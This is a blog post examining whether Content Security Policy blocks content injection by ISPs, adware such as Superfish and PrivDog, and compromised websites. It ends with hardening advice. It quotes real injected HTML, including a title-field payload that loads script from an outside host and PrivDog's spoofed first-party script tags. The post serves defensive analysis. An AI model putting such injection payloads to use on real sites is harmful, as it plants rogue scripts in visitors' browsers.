Content Security Policy versus injection and man-in-the-middle attacks (MITM)
Can Content Security Policy prevent content injection and man-in-the-middle attacks? This is an expanded version of a discussion we had with @synackpse and @bryanbrake after my CSP podcast last month.
If the purpose of CSP is to declare a whitelist of content sources authorised to load on current website, can it prevent rogue content from being injected? We're talking about the following scenarios:
- Content injection into plaintext HTTP connections by the ISP or hotspot operator as Comcast, R66T and others did;
- Local operating system injection into plain-text and TLS connections by malware, spyware or adware, as Superfish did (powered by Komodia SDK using rogue certificate);
- Rogue content injection into websites as result of various attack on the web applications or their hosting infrastructure, as it happened to RedTube
There is no single answer here: in each of these cases CSP can or cannot prevent the injection, depending on how the policy is contructed and how the attack is executed in details. Let's see on how they actually did look like.
<head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width" /> <title>"/><script src="//tfx.pw/a.js"></script><meta nm="Archives - Free Porn Videos - The Free Porn Tube Video Site - YOXVIDEOS.COM</title>
SuperFish local injection into SSL/TLS connection. This sample comes from PasteBin, not sure how much up to date it is, but if it's what SuperFish still does, then CSP will easily block it due to a non-whitelisted source:
PrivDog local injection into SSL/TLS connection. This one, on the other hand, is pretty devastating. The target website CspBuilder.info uses TLS with Strict Transport Security, Public Key Pinns and CSP in enforcement mode, but this does not prevent the malware from injecting its content in any way (sample posted by LeeBrotherston:
<!DOCTYPE html> <html lang="en" ng-app="cspbuilderApp" ng-csp> <head><script src="//cspbuilder.info/priv.dog.preload/messageDispatcher.js"></script> <script src="//cspbuilder.info/priv.dog.preload/retarget.js"></script> <script src="//cspbuilder.info/priv.dog.preload/bundle.js"></script>
CSP is completely bypassed because the rogue content is injected in a way that makes is look like coming from the original website. None of these priv.dog.preload scripts are present of course on the actual website, here's the original source code for comparison:
<!DOCTYPE html> <html lang="en" ng-app="cspbuilderApp" ng-csp> <head> <meta charset="utf-8">
The malware is able to do it simply because controlling the whole HTTP connection between the browser and the server (and faking TLS certificate) it can not only inject content into responses, but also emulate the whole requests, such as those to fetch those non-existent priv.dog.preload files.
The following recommendations can be derived from the samples presented above:
- Do use Strict Transport Security, Public Key Pinns and CSP in enforcement mode. They did block most of the rogue script injections in the above real-life non-local scenarios. And, judging from large number of violation reports from SuperFish I see on CspBuilder, they will block the less clever local injections as well.
- Realy avoid unsafe-inline and unsafe-eval in CSP. Allowing inline scripts essentially opens door to even dumbest injections, especially if no TLS is used. If you need to allow inline scripts (which is often required) use sha256- or nonce- features of CSP to allow only trusted inline code blocks.
- Make your CSP as fine-grained as possible. So, an extreme case: instead of allowing all scripts from self, explicitly list URIs of those scripts that you do load and approve. While I realize this is not very practical is real life, just try to make the CSP whitelist not too broad.